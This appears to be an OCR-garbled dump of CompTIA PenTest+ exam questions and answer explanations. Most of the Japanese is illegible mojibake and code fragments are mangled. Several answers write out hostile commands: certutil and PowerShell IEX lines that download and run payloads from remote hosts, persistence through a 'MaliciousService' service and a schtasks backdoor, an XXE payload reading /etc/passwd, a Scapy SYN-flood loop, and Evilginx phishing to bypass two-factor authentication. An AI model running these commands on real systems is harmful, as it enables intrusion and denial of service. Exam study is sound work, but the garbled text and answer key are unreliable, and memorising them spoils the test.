ERBERZRRE LGS . ROFIETEH BNOEX1) T RBBERTET S5=HIC, KX Ay
MEEESLLGEHRABICERZTESBLENHY FT,
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AR Y—=oF v TFYOMG #7232 B)
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BEER: CAICKY RBUEOREBRIERIN FAREF—LOVSA4 70 M EOBBREIZRRE
ZIRADHICERATELELIICHYFT,
ZTOMDIEBHAEN-NNRT—FDRAE £ 73> 0):
ﬁ&rgzaqt;éﬂﬁ N—Fa— RENFRRT— KA DRDIA 2B MIE /R T— RAFEET
AIREMMN TR INET BEMGRAERICIY EBMORIFEHRIAER SN, DX TLOEF2Y
TANESLHIZRESNSAREMEAHY T,
BEi{t Y —/L: truffleHog git-secrets grep L EDY—ILEFRALT VRO M) EZXFr L,
N—FRIO—FEho—OLy FOMDA VREVREZFETENTEET,
RUTRAMDSEER:
VR N— Fa— FEN-EREFEHROREIT. V—RXR a—FOLEa—dHdYRSF)DH
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FER21ADVMIRTOERFTEOHMLRERZRFITAS LI . BATA N JOELRDEER
& TY,
This ensures that all discovered vulnerabilities are reported accurately and comprehensively.
Further Investigation: After finding a hard-coded credential, it is best practice to look for other
security issues within the same repository. This might include other credentials, API keys, or
sensitive information.
Steps to Perform:
Take a Screen Capture:
Use a screenshot tool to capture the evidence of the hard-coded credentials. Ensure the capture
includes the context, such as the file path and relevant code lines.
Investigate Further:
Use tools and manual inspection to search for other embedded passwords.
Commands such as grep can be helpful:
grep -r 'password' /path/to/repository
Tools like truffleHog can search for high entropy strings indicative of secrets:
trufflehog --regex --entropy=True /path/to/repository
By documenting the finding and investigating further, the penetration tester ensures a
comprehensive assessment of the repository, identifying and mitigating potential security risks
effectively.
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7y 7O—K$ B EERERLET,
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B. amass enum -passive -d comptia.org

C. nmap -Pn -sV -vv -A comptia.org

D. shodan 7R X k comptia.org
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‘for port in poris:
Ery:
s.connect ((ip, port))
print (“%s:%s - OPEN" % (ip, port))

except socket.timeout
print (“%s:%s - TIMEOUT” % (ip, port))

except socket.error as e:
print (“%$s:%s - CLOSED” % (ip, port))

finally
s.close ()

FLOCBOEEICAVXFOHRENEBNIZERIND

port scan(sys.argv(l], ports)
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BE: 102

A tester is performing an external phishing assessment on the top executives at a company. Two-
factor authentication is enabled on the executives' accounts that are in the scope of work. Which
of the following should the tester do to get access to these accounts?

A. Configure an external domain using a typosquatting technique. Configure Evilginx to bypass
two-factor authentication using a phishlet that simulates the mail portal for the company.
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B fE: 103

A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain
additional access. Which of the following commands should the penetration tester use?

A. powershell.exe impo C:\tools\foo.ps1

B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe

C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")

D. rundll32.exe c:\path\foo.dll,functName

EfE:B(AA Y FEHEKRT D)

To execute a payload and gain additional access, the penetration tester should use certutil.exe.
Using certutil.exe:

Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote
server, making it useful for fetching and executing payloads.

Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the
specified URL and saves it as bad.exe.
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BEfE: 106
Given the following Nmap scan command:
[root@kali ~J# nmap 192.168.0 .* -- exclude 192.168.0.101
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hashcat.exe -a 0 .\hash.txt .\rockyou.txt -r .\rules\replace.rule
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Eﬁ:ﬁ: 110

Which of the following is the most important aspect to consider when calculating the price of a
penetration test service for a client?

A. Operating cost

B. Required scope of work

C. Non-disclosure agreement

D. Client's budget

IEf#E: (EfEZRTLET)

When calculating the price of a penetration test service for a client, the most important aspect to
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consider is the required scope of work 1. The scope of work defines the objectives of the
penetration test and the systems that will be tested. It is important to understand the scope of
work to determine the resources required to complete the test and the time it will take to complete
the test 2.

References: 2: CompTIA. (2021). CompTIA PenTest+ Certification Exam Objectives. Retrieved
from

https://www.comptia.org/content/dam/comptia/documents/certifications/Exam
%200bjectives/CompTIA-PenTe O'Brien, D. (2021). The Official CompTIA PenTest+ Study Guide
(Exam PT0-002). John Wiley & Sons.
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BRATREI—HDRY FT—VEREZTO>TVET , TREI—([E BHAA DX LICEREFEBDT S
JEIAIToNDIELGL Y RT—VICETIBEHRERELF-VEZFATVET, TRE—(&
UTOEDFEZFERIRETLELEOIMN?

AR=ZvITq429

B. \F—DH1E

C. TCP/UDPR F+x >

D.EVYRA—T

EfE:A(QAVRERKT D)

BEADZXLITEREEHO ISV ZIAITIETICRY FT—VIET 2BFREZINET HIZ(1E,
BATRAI—FR=ZY T4 VT ERTHIBLENHYET,

Explanation:

*IRE

CEEAZVIAVTEE XY NIV ERBBTERY NIV ST v ERIEL, O
THIETI Ry FI—V L THREAIEEG S 74 v I ZEB LG VZBIMGERFETY,

* W —)L Wireshark®tecpdumpZ EDY—ILIE A=y T4 VJICEK LK ERAESNFET , oD
Y—ILENTy b EXFYTFY L Xy FI—V@BE FHPOTO MO, T/AA R BENE
MEss IR S 1EHmEIRELEFT,

* F A

FRATIVAE RZY T4 DTFN\y T THD-H BARMI AT L (IDS) PZDMDELR
Y=LK > TRESNSAREEDHHENMD S T4 vV FERESIEFEREA,
CINESINDER: A=V T4 TIZKY IP7RLA _MAC 7 FLR BWTWSHR—+ ELT
POH—ERX, TL—UTHFX M TEEINIBEHEOSVATEEED H S HEHRMNHALMNILEE S
ELHY FT,

* DAl & D ELER:

*INF—=TSEVT A=y b H—ERICYUI IR MEEEL BRERBELRNF—I S FHRZEUR
&3570 T4 TEFE,

*TCP/UDP AFx v »: BAWTWAR— hEH—ERZFZRET B2/ Y FEEIETHTY
TATHRFET XY FIT—VERY—IICk > THEITREINET,

*Ping R4 —7ICMP TO—EBRZEELTSA T RAMERETEIT7V T4 TBFE 2V b
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D— Y EERTHLRETARETT,

RUTF R COBEEH:

ERI X PHER I I — X TRV I U B EDSBMATREERTIE 4—4 Y
MIBEINBZ EHCERENETEET,

CRY RT—I S TS —LE N H—TRAEMEOHE FT T v I EERETIZ Ry b
D—4 rROCEEMBL TELEELRBUEEHELET,

A=Y IA VT EFERTHE BATRAA—IEFRy b T—5 (CHET 2HEERE R TILARIC
INEL BEOYRYERNBISIZ B ENTEET,
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RATRI—(FHBOFMEETL ANLE1I—V—ERERZINET IVLENHY FT,
CHOBEMEERT HEHIC, TAEI—NEATIDICHRELGHREFIRODENTL & 557
AIAr—k34EVT

B.¥v 774 JFR—%2)

C. FRGIfERR

D. ZTYdFEL

Ef: (EREERLET)

BYTELHETK BATRAZI—HAELELZI—HF—DETEBEL DA TLOBHRADFRIE
TOERETVWEST , COFEIX, TavPy, */)v)l/I./y 7T HESEAFRE IO
TRAOBAEVWSFHMZRETE S0 HFIC 7!ET)JJ7LL:L H—REAEROUINEIZHEM T,
D+—KRSAEVT FvTT4TR—2) BIAFBBRE VN >IMOKBEF AL, BELRY FDT—
JDEEEEES 2O A —F—RIEROMBEZNEEEENTEDY FHA,
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Which of the following OT protocols sends information in cleartext?

A. TTEthernet

B. DNP3

C. Modbus

D. PROFINET

IEfR: (EfEZERTLET)

Operational Technology (OT) protocols are used in industrial control systems (ICS) to manage
and automate physical processes. Here's an analysis of each protocol regarding whether it sends
information in cleartext:

* TTEthernet (Option A):

* Explanation: TTEthernet (Time-Triggered Ethernet) is designed for real-time communication and
safety-critical systems.

* Security: It includes mechanisms for reliable and deterministic data transfer, not typically
sending information in cleartext.

* DNP3 (Option B):

* Explanation: DNP3 (Distributed Network Protocol) is used in electric and water utilities for
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SCADA (Supervisory Control and Data Acquisition) systems.

* Security: While the original DNP3 protocol transmits data in cleartext, the DNP3 Secure
Authentication extensions provide cryptographic security features.

* Modbus

* Explanation: Modbus is a communication protocol used in industrial environments for
transmitting data between electronic devices.

* Security: Modbus transmits data in cleartext, which makes it susceptible to interception and
unauthorized access.

* References: The lack of security features in Modbus, such as encryption, is well-documented
and a known vulnerability in ICS environments.

* PROFINET (Option D):

* Explanation: PROFINET is a standard for industrial networking in automation.

* Security: PROFINET includes several security features, including support for encryption, which
means it doesn't necessarily send information in cleartext.

Conclusion: Modbus is the protocol that most commonly sends information in cleartext, making it
vulnerable to eavesdropping and interception.
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BATRAE—F HHHAEDIZ fingerav > FeErwhoa vy REFESTLINUXV AT LD LI—H—
ZHELLSELFELE,LAL. CALDATY RETTIXEMOEENASONGZWLI LIZK

DEFT,
CDZRAVIERT HDICHEELY—ILIFRDENTY H?
A FL

B. \—TJXA/—+F

C.smbo2 3472k

D. /\—RX A —
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smbclienty —JLIE, *v kT —2 LDOSMB/CIFS YV —XRIZT7 V9 RXRFTHE=HIZEALET, o

&Y BATRAEZ—FHEFI)V—XIZEHKL Ry b I—0 LO1A—HF—%HETEET FIC
WindowsIREZEIZHE LN THII T, Unix/Linux > R T L Tl&finger & rwhomM— B9 T3 HY, smbclient

FRYy FT—V LAY —%HETLLETIUEBNHEEEEZRBELET,

* smbclient #Efigd 5:

* BBY: smbclient (X, SMB/CIFS H—/N\—LD 774 IILETA LY MIVIZ7OV XL TEET S
f=OIZERENET,

R KB Y —RDBB TALIMNID—ERT, I7AILDEOoO—FETyTA—F,
A—H—DFEMNTRETT,

=S T
ARy R MARMRGHAR LI Y —E—BRTYHICE, L+ TP 3 U EHEE LTz smbclient
EERALET,

AT TN AT v TDERBAsmbclient -L //target_ip -U username
. 2=y b VRTLEQDA—Y—FFNET D,
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smbclient -L //192.168.50.2 -U EE £

* Fl R

*AEN AFYY—REA—Y—ICET SHMTEREFREBLET,

*HORTZy b TA—L: Linux Y RTLE Windows VR TFLDMATHEATEET,
*BATR MIET B XEH 5 DSEXH:

*SMB 5L vy FT—OBRIBAOEF) YV —REA—HF—%HANT E2-ODBATR A
FTHBASN TS —RMNLEAETT,

*HTBDEBETIE Ry b=V HF LAY —%HET S5-I smbclient ZEAT S &H
HEICERSINATULET,

SE X

BRBATRAE-NYEXUTOEBKAM

*HTBAREEE
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F—L ) A —FAERSE 5O AV IADRDEDEREHEDLARILICHIZA DEND
YEITH?

A.TVF

B.EY

C.ovv7IL

D. 7354
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EVAUTS5—ETE BIEIDUI—HNO—EDE Y EEFHLET, SHMGEAHAITUTO L
sYTY,

Evar7o—ayoDarviR—R b

F—EY FAHDEEEMITIESTT , F—DUYVRAACE>TINLDEVDHRENRAESL
F9,

RSAN—E2: FSAN—EVFRT)UFICk>TREN F—EVEXRTY VI DOEICEE
SNFET,

AT KSAN—EVIZERENNTET,

TS5 F—MEASh ELWFX—IEFERASINDLEEGET S50V DR TT,

YR — TS TEEVERNT BNV,

F1il7 -

ELWEF—HAEASIhSEE FT—DUNBIZE>THF—EUAHLETFOA BAMZSAY UF
g F—0RERE) ITRIVNET,

TAMBRTOE > DES|IZKY TS5 EEEL Oy IAMEBILET,
EVAELVWEZTHHER:

ELWKF—%FRTEE F—EERSAN—EUDNBAMBRIZH>THIWL, 755 %2ET &
MTEFET EVAELLHI-TLVEWNWE AV YIFREAZEEEA,

BEATOA SRk -

AV EYFUITIE BEFEOLTICEHFHAMBRICSR >TIICHENRET, Chid, STOHEE
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CHETHIECDEELEFEEZRLTVET,
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BREBELEFEX1UT4 NV TFOERRICEEFZZ T VAT LLETORFRIEZ#HET 51
DITHBEEN—BMICERAT AFEEIRDSIE5ENTT D,
AF—EXRZRELTERELES,

B.UE—F TRV T YT IT7EA VAR L—)LLTEITLET,
C.A—H—MNOJA U LETITRTENEIRI)TFERELET,

D. /R R ~IZ®t L T Kerberoasting MEH#ETLET,

IEf%: (EfEZRTLET)

KM ZEHIFT A ET REFBQFVATLOBREEOEX 1 T4 Ny FOHERELT IR
THETELLDICRYFET,

*H—EXRERELTERT S (FTPavA)

CHEBEL BBNICHENTAIBEEDHLIVATLY—ERZERLET,

* 45 (Windows):luaCopyEditsc create MaliciousService binpath= "C:\malicious.exe"
(Windows):luaCopyEditsc create MaliciousService binpath= "C:\malicious.exe" 5l
(Windows):luaCopyEditsc create MaliciousService binpath= "C:\malicious.exe" 4§l
(Windows):luaCopyEditsc create MaliciousService binpath= "C:\malicious.exe"
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RDY—=ILDI35 Fv bT—- TORILEREET H1-D Python ¥ S X &#RET 5L DI
EnTIh,

A.R{E

B. 1 /\ry

C.%E

D./A\D—X7AOA k
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Impacket [&, SMB_, DCE/RPC_LDAP_ Kerberos HED Ry kT —4 FO L)L ERET B8
D Python ¥ S R #1R#H3 %Y —ILTI, Impacket [ Ry kT—9 9 /4y MMEE EIER
T—0427 BREROF T HEAMOBE, )E— FETICERATEET,

2% https://github.com/SecureAuthCorp/impacket
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BATREI—F mARRESNIZ)E—FO2—FET RCE)DMEFHZERAL T HRVATL
OV T7 VR EWMBLELE, COMBEHEICHTE/ Ny FIESEXRICEHTSINSIFTETT,
NYFERHEER TRAI—D)E— IS VATALAIZBRATESA—T14)T4ERDS55EN
TIH 2OERLTLEELY,

A. schtasks.exe

B. rundll.exe

C. cmd.exe
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D. chgusr.exe

E. sc.exe

F. netsh.exe

EfE:AE(D AV LEHKRT D)

REEBERAINT- RCE fEssIC T 51Ny FHARBASNZRICUE—FTURATLIZBEERAT
BIZIE BAT A4S —IZL schtasks.exe & sc.exe ZEHTEET,

* schtasks.exe:

* B#Y: Windows VAT LATRAT D a—I)LENF2 RV /R HIBR, 8L UVEET H-OIZHER
SNFEYJ,

R RT DA —ILENER RV EERTAEICKY TRE—ERS Y TrEREF TR
SLMNEESN-FEICRITEINE ZEZRIL, KGN Y Y FT7ZIRETEET,

“ 451

schtasks /create /tn "7\ 2 7" /tr "C:\path\to\backdoor.exe" /sc daily /ru SYSTEM

* sc.exe:

* B#: Windows y—ERXZBHEHI 5-HICERAENSGY—EXR a3 bO—)L TR—D vy —D3
TURSA Y Y—L,

okt BEDHARTURRI 7ALNERTI Y —EREERFLFEETSHLET, TR
A—IEXKEET IV EREMBFTEET,

“ 45

sc /\v Y K7 Z4{ERL binPath= "C:\path\to\backdoor.exe" start= auto

*ZEOMDI—T 1 )T 4

*rundll.exe: DLL #7 74— 3 o E LTETTA=OICFERINET, @& ITKELIZIXE

RAEhEzELA,
*cmd.exe: —f§EIEAT VR OV T b KGIEA DX LOERICEHICERINZIDOTES
UEtA,

*chgusrexe: JE—F TR by T2y 3V RAMDA VR =)L E—FEEEFET H-HIC
FRINETH KEEICEERHY FEA,

*netsh.exe: Xy FT—IRBRIZERAINETTH EFFKFILICIXFERAILEEA,
RUTRALDSEEH:

*IVRTAA MR RVDIVRATAA bR T BRZMBFTHICITKBEEEHILTLHIIEN
EETY,

* Windows ‘Y —JL: schtasks.exe 4> sc.exe % & M#H#A#IAH Windows YV —ILZEFRA L T, BiLE
PRy FEREZELFERT SN\ V I RTEERT A EFEBLETS,

schtasks.exe & sc.exe AT S LT RATRI—IE Ny FHEHINERTHLVRTLA
~NDBERAZAREICT HIRFHLEA D XLERETETET,
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REAML=2aVTRAMNF—LERX 9547 RSN -—EDR—45 v X L TDNS
W7y TERTLIEVWEEZEZATVWEY , F—LIXZDARIADBashR Y ) T +#EBLE
LA RO T RTINS BIS—RREDOMYFELT-,
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1 #!/bin/bash

2 for i in $(cat example.txt); E1T9 %

3 H—IL $i

4587

A9UTrDOITEICRODEDEERZMADBHENSHY £9H?

A. fRRERTE $i

B. rndc $i

C. systemd-resolve $i

D. KX k $i

Ffa:D (A FEEKRT D)

A9 ) T N

1T 1: #!/bin/bash - ZDTIE RV )T % Bash Yz )L TEITTHEEZHRBELET,

2 ¥78: foriin $(cat example.txt); do - ZDITIE, 7 7 1 JL example.txt h 5 K ITEHZARY . Fh
EEHRIICEIYETHIL—TERIBLET,

T3 curl$i- ZDFTIE curl ZFEALTIITRFESATVLWS URL AV TUVERBLELD &
LFEY,

==L _DNS ILy 9 7 v TDIHE curl (EFEYITT,

{T4:done- COITTIL—THRKRTLET,

T 5—#Al:

cul AR FIE H—N—LDEITT—2ZEETH5-OICHERAIN  Z<DHFE DNS LYY
Ty FICEELTWREWLWHTTP U TR MZERSAET,

ELWMWaOT YUK

DNSILY Y 7w T#ETTHIZE hostavxy FEFRITZILENHY EFT hostav > FI
DNSILY O 7y TH#ETL BESNEFAAL VICHAT SIEHRERTLET,
BEINE=RHY Tk

example.txt CHEESN=&E2—4w MR LTDNS LY O 7y TEETTBHICIE curl §i &
host $i ICEZ#A FT,
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BATRE—E REBY—N—2 T 7O LTREINEY—ERET TV r—2a Vv EEFEL,
ROBNEBRELET,

Status: 00, Size 2463, Words: 0, Li : 45 URL: HLtp™/10.200835:W4/edmib
Status: 00, Size 2463, Words: 0, Li : 45 URH:W 8tTp://10.200.35.14/db

Status: 103, Size 437, Words: 12, Lines:_4%4 UREY Wattp://10.200.35.14/server-status
Status: 200, Size 2463, Words: 0, Li kWS, ORL: http://10.200.35.14/1ogin

Status: Size 2463, Words: 240, L1 #® 45 URL: http://10.200.35.14/test
Status: Size , Words: 18 i3 H 3 http://10.200.35.14/robots.txt

COHANIDODNWTHRIBEFEZAONDHAFIROD ENTTH?

A TRA—IZIEX Y—N—RT—FRXAR=VIZTIVERTE5-HDERBERNHY FHA,
B.EEBT ALY MIEEBIESIATWWSIH T7O0TTEERA,

C.admin_test, & UV db T4 LY rJIFATA Y R=DIZYHFAL LY bENFET,

D. robots.txt 77 A JLIZIZ6 DDIT U RUAHY FT,
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IEfE: (EfEERTLET)

TJ7o09Y—ILOHEAERDE admin_test_ dbT 4 LY ) DY A4 X BEEH THAOST 4
UR—=VERILTHBICENTIYET, AL, ChoDTo LY RO TA UR—=D(Z)
FALLY FEINTWEIEEZRLTVWEYT, CNE TREI—HDNEMNLERIAFERELTIEIASL
DTALY MIZT7OVRATELGRWIELEFEKRLET , H—N—XT—F AXR—(3403
ForbiddenR 7—A2 XO—FZRLFET, CNIE TREI—DT IV RERZHF >TLVEWNI EH
EBRLZET, robots.txt7 7 1 LI,

404 Not Found R T7—R2 Aa—KIE, 774D —N\—LIZFEELBZNWI EFEKLET . S
z .

*2= CompTIA PenTest+ FEH A K (5X8& PT0-002) £ 2 E: /Ay L JEERDEM, 77 ~ 78
R—3
*101 Labs - CompTIA PenTest+: PT0-002 FERD/NV XA 2 5K, 5K 2.3: Web 7 71 75—
$IVDTFISUY 69 ~ T0 R—,
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tFXa)TaT7FIRMEI al16F%y FT—VEHATSMBR— FMASD R ¥ v VU EETT HLE
NHYFEST , ATILAENEBIZE ST 2 RV ICHBMHNAHSEE  ROITEFEDS56E
NARBELGRIRNKRTLELEIMN?

A. Nmap -s 445 -Pn -T5 172.21.0.0/16

B. Nmap -p 445 -n -T4 -open 172.21.0.0/16

C. Nmap -sV --script=smb* 172.21.0.0/16

D. Nmap -p 445 -max -sT 172,21.0.0/16

IEf#: (EfEZRTLET)

Nmapld RR MM/ Y FEEEL, TORREZAMITEHIIET XY M T—ODRAFX v &5
HEERTTESHY—ILTYT, a7 > K Nmap -p 445 -n -T4 -open 172.21.0.0/16 1% . SMBAR— +
RREFYREERD /16 Ry FT—YVZHD 445:

PA445 [FRF v T HR— FESEEELET,

-n[XDNS FERZEMICLFET, CHITEY FELGIITVZEBI LI ETRAI VY U EZERIET
=F7,

T4FEAZI VT TFoTL— b E2T7ILy P TITREL X7y FELYRSEEL BEEH
DHEZEMI I ETRAT Y VDEEZRLEEEFT,

-open [FFAVTWEAR— FZHFIDRR CDAERTFT SO HIEZRKYAAH BEEHEOSVER
[CERZRSIENTETFEFT MO FE A TILAENEEEL LT, 2 X7 [CHRERFIH
NHDIEE 161y FT—9 LOSMBR— F45F2 X F v T 5DICZIERBETIEHY TEA,
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A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen
from the target machine. Which of the following MOST likely caused the attack to fail?

A. The injection was too slow.

B. The DNS information was incorrect.

C. The DNS cache was not refreshed.

D. The client did not receive a trusted response.

EfE: (EfEZRRLET)

A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to
redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by
injecting false DNS records into a DNS server or resolver's cache, which is a temporary storage
of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as
the target machine would still use the old and valid DNS records from its cache. The other options
are not likely causes of the attack failure.
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BATA R LR—FIBE T HRERROBEIBCLFFIEI ESRADI v a v EBEE—HT
PRENHYFET,

ESRRIVTHRRANEEBMBTIEILET RRML—2 a3V TRI—IIEBOEELHEELEE
ST DB HUNEEF M TCEET, CO7TO0—FIC& Y HBEFEIRHMICERETHS
EHTHES ESRADERIL—LT—ATHEHEELAHY HRTAIGELZELEDICHEYET , 47
3B C.D UAN—BE XY NIV AVISRAISIVF v HAN—BR)EEELER
TIN EDRADI VL aVEBEICEDEIBEEESZHNEV D XARDF THRETT Db
ENHYET,
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During a penetration test, the tester identifies several unused services that are listening on all
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targeted internal laptops. Which of the following technical controls should the tester recommend
to reduce the risk of compromise?

Service
v cname |t L otatl
name
>YSEsm 1) IX - - H Ops
:'J ‘-.- :TI- — _,‘ ELF:TE I-.-[— -l
‘!'-""LT", B _I E o | 1{';
-_J__. i e l 4 i__-L i [1.

A. Multifactor authentication

B. Patch management

C. System hardening

D. Network segmentation

Ef#: (EfEZRTLET)

BATRE—D BEHORRAT YT by TTEHRORERAODY—EXNY vy R LTSI EE
RRLEBE RFVRVEZERTH-OORLEYGHESEE, DX TLDRIETY, TDE
HIZRDEBEYTY,

* O RT La#ik:

*HB DRATLBIEEICE, VATLOMBEEZEZER ST ETURTLDEX ) T4 2RI S

ZENEENET,
CNIZIE FRELY—EROEME X1 T 4 RNy FOERA. DRATLORLEEBHENAEEN
E

CEE FRAINTVWEWY—ERZEMICT DL HMEBEXMREEHAR/MRICINZ SN, ChE5D
Y—ERDNRBEHIZBEAINDIVRINERSINET,
oo FO—ILEDLE:
*SERBIA): RAD X1 T REICRIBFTHN, DATLETETINTWSERER
@#—tx@ﬁﬁlmﬂkbiﬁh

Xy FEE (B): BADMEBEICH LT 2-DICEETTA FHIA TRV S —EREZED
235 EICIXBICEARBDY A,
RV RD—=0ETAUT—23 0 (D) BREOH LADICIEERIEEFITN  FELGY—EXDM
BICEEMLT 50T TEHY FEA,

DATLOBEEIE READY—ERICE2THE6INDIV RV EZBERBT 5-0DmLEEN
HEHTHY REOHREELLYET,
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DHEBZEFTTIOORLNEMNET7 TO—FIERODS6ENTTHM?

A. #8850 Web ¥« ~Z DDoS WEARAALET,

B. HHBDREBEICT s vy O U TA—ILEEELEFT,
C.REBLEREICHDEDOITHDY— YL ATAT7 TRAT7ANEERLET,
D. DX EIEREICT IV ERTE Web A FERELET,
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BATRAE—F 2y FT—U LDERR M3t L TDoSKEZEITT SHERZHFH >TLET  UT
DAANEZoNFET,

ip =1P("192.168.50.2")

tcp = TCP(sport=RandShort(), dport=80, flags="S")

£ 7—4 = RAW(b"X"*1024)

p = ip/tcp/raw

EE (p, )L—TF=1, §#1=0)

ROBERZRATD>H TAFTHEASINSAEENARLEEVDEENTTH?
A. MDK4

B. A¥— K%

C.O307%vY

D.SYNZSw K

Ef:D(QAY FERKT D)

SYN 75 v FIRE(E, —&ED SYNEREZZ—F Y FOVATLICEETSHZETTCP NAYE
DAV EERLET,

BVIVIRAMEI A=Y b DRATLOERT SDELNHLIERZDIEL, UV—XEFHEL
F9,

* X)) T OEME:

*ip = 1P("192.168.50.2"): 385& IP 7 KL X % 192.168.50.2 ITERE L FT,

* tcp = TCP(sport=RandShort(), dport=80, flags="S"): 5 > 4 L#EETKR— b FEELEAR— b+ 80,
BEXUSYN IZITWEESNT- TCP /N7y FEERLET,

* raw = RAW(b"X"*1024): /845w k12 1024 15 FDT—2 &BMLET,

*p =ip/tcp/raw: IP_ TCP_. 8L U RAW B % 1 DD/ \ 5w MZHEELET,

* send(p, loop=1, verbose=0): F¥fitE N7 L T/ v b EEBIL—TTEELFET,
*SYNZ S v FDBEHR:

Y —REB: BHD SYN BREFEETDHE 2—5 v bOERET—IT LBV (EWNIHEY IE
LGEEN T ONET,

*H—EREE: ATy b DRATLNBEFKEICGY ThUEDOERZDETELLLGY
EEFH—EREENFRELET,

* R E B

*L— IR SYN /A4y RZL— hHIREERELET,

*SYNI wF— SYNIYF—%FALT VY—RETCICEIYHBTEHZ EHLCEREREZD
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BLET,
*TFATIA—IVEIDS: T7A T 74— ILERABEMU AT L (IDS) ZEALT SYN 735 v
FREZREHL BRLET,

*BATAR MIET HXED 5 DESEH:

*SYN 75y FRERF Y—EREBREOARMLGHTHY 2y FIT—IOR—XOKRELE
BT B=ONBATAE H4 FOHIBREETLHBASATWET,
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*RATRAR-NYFUTDEEAM

*HTBAXIEEE
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—BELTEDNEVE S ST BT, ENABETTH?
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EfR: (ERERTLET)

BEYDORE

E&E BATRAMDT7—T4 770 M2F BT RO )—2S 3y b T9RTAA RO T
MR T 7 AL, ZOMOBEERG L, TR FRICIESNETRTOTF— 4 LA A EN
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HROMME LTHEL BATR FLK— FTRENEREEREFEEERTET,

Eﬁ:ﬁ: 128
FHBEELEDZHIEHICEVT BATAE—FETRA AR ELIEEFZE LTS, TR
FRATEDZ—7Y FOBIIERODENTTM?

A. AP

B. HTTP

C. IPA

D. ICMP

EFfR: (EBERTLET)

A—4y h&ELTD APL

AP (77— 3y RISV AVE—T A R) & FEVRREE. T—2 R 41>
SV I vHRBELEDEBEEETRA NTA-HD—RMLEEETT,
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C(IPA): BATAMEIFEERFRERTT (CZTIEIEAA TIAMNEBBZRTHLAREENHY F£9),
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D(ICMP): ChIE7 FUHsr—Say 7y bTREL Ry hI—98WICEREAS 70D
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FAA 210 GEtEERTA—TDHRE)

Eﬁ:ﬁ: 129
BATRAZ—[X Nmap A&+ oHIZROEBEHFRELET,
BIEEY—EX

135/tcp -=— 7> msrpc

445/tcp A — 7 > microsoft-ds

1801/tcp #—F > MSMQ

2103/tcp =— 7 > msrpc

3389/tcp A= — 7 > ms-wbt-server
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A. msrpc LDMESEHERRLET,
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*SMB OHEFFFNEL HMBEEHERET S (T 3> B):

*SMB —/N\— A wt—2TOYI)ET7AILET Y A —DHBELEREICLET, ZEMN
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* SMB D331 (l: EternalBlue - CVE-2017-0144) ABREA_ Y E— FTa— RAEFEL S
AIREMEAH Y F T,
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<?2xml /N\— 3 >="1.0"?>

<IDOCTYPET—4|

<IENTITY foo SYSTEM "file:///etc/passwd" >

1>

<T R +>&fo0;</T A k>
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A.chmod o-rwx #FR LT ROB 77 A IWIERZIRNTHIBRLET,
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—
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XML ABIZEOHAENT- XXE HEBHEICH T HEETETHIERMKRTIEHY FEA,
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